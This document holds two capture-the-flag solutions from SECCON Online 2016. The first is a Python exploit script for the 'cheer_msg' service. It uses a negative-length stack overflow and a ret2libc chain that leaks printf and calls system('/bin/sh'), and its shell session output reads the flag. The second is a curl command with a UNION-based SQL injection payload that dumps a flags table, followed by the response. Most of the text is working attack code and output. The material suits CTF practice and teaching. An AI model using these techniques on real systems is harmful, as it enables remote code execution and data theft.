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SECCON Online 2016
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| #! /usr/bin/env python3 | |
| import struct | |
| import telnetlib | |
| import sys | |
| HOST_L='localhost' | |
| HOST_R='cheermsg.pwn.seccon.jp' | |
| PORT=30527 | |
| def pI(addr): | |
| return struct.pack('<I', addr) | |
| def uI(addr): | |
| return struct.unpack('<I', addr)[0] | |
| def main(t): | |
| printf_plt = 0x08048430 | |
| printf_got = 0x0804a010 | |
| main = 0x080485ca | |
| if t == 'r': | |
| tn = telnetlib.Telnet(HOST_R, PORT) | |
| libc_system_offset = 0x40310 | |
| libc_binsh_offset = 0x16084c | |
| libc_printf_offset = 0x4d410 | |
| else: | |
| tn = telnetlib.Telnet(HOST_L, PORT) | |
| libc_system_offset = 0x3af40 | |
| libc_binsh_offset = 0x15ef08 | |
| libc_printf_offset = 0x4a020 | |
| input() | |
| tn.write(b'-144\n') | |
| tn.read_until(b'Name >>') | |
| payload = pI(printf_plt) | |
| payload += pI(main) | |
| payload += pI(printf_got) | |
| tn.write(payload + b'\n') | |
| tn.read_until(b'Message : \n') | |
| libc_printf = uI(tn.read_some()[:4]) | |
| libc_system = libc_printf + (libc_system_offset - libc_printf_offset) | |
| libc_binsh = libc_printf + (libc_binsh_offset - libc_printf_offset) | |
| print('libc_printf : {}'.format(hex(libc_printf))) | |
| print('libc_system : {}'.format(hex(libc_system))) | |
| print('libc_binsh : {}'.format(hex(libc_binsh))) | |
| tn.write(b'-144\n') | |
| payload = pI(libc_system) | |
| payload += pI(0x12345678) | |
| payload += pI(libc_binsh) | |
| tn.read_until(b'Name >> ') | |
| tn.write(payload + b'\n') | |
| tn.read_until(b'Message : \n') | |
| tn.interact() | |
| if __name__ == '__main__': | |
| argv = sys.argv | |
| if len(argv) != 2: | |
| main('l') | |
| else: | |
| if (argv[1] == 'r'): | |
| main('r') | |
| else: | |
| main('l') | |
| """ | |
| $ python3 exploit.py r | |
| libc_printf : 0xf75f2410 | |
| libc_system : 0xf75e5310 | |
| libc_binsh : 0xf770584c | |
| ls | |
| cheer_msg | |
| flag.txt | |
| run.sh | |
| cat flag.txt | |
| SECCON{N40.T_15_ju571c3} | |
| exit | |
| *** Connection closed by remote host *** | |
| """ |
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| curl --user 'keigo:test' "localhost:81/authed/sqlinj/72.cgi?no=4822267938'%20UNION%20SELECT%20%28SELECT%20group%5fconcat%28f1ag%2c%22%0a%22%29%20from%20f1ags%29%2c%221%22%2c%221%22%3b%2d%2d#SSS" -vvv | |
| << COMMENTOUT | |
| <html> | |
| <head> | |
| <title>SECCON 2016 Online</title> | |
| <!-- by KeigoYAMAZAKI, 2016.11.08- --> | |
| </head> | |
| <body> | |
| <a href="?no=4822267938">link</a> | |
| <hr> | |
| ISBN-10: 4822267938<br> | |
| ISBN-13: 978-4822267933<br> | |
| PUBLISH: 2016/2/19<p> | |
| ISBN-10: SECCON{I want to eventually make a CGC web edition... someday...}<br> | |
| ISBN-13: 1<br> | |
| PUBLISH: 1<p> | |
| </body></html> | |
| COMMENTOUT |
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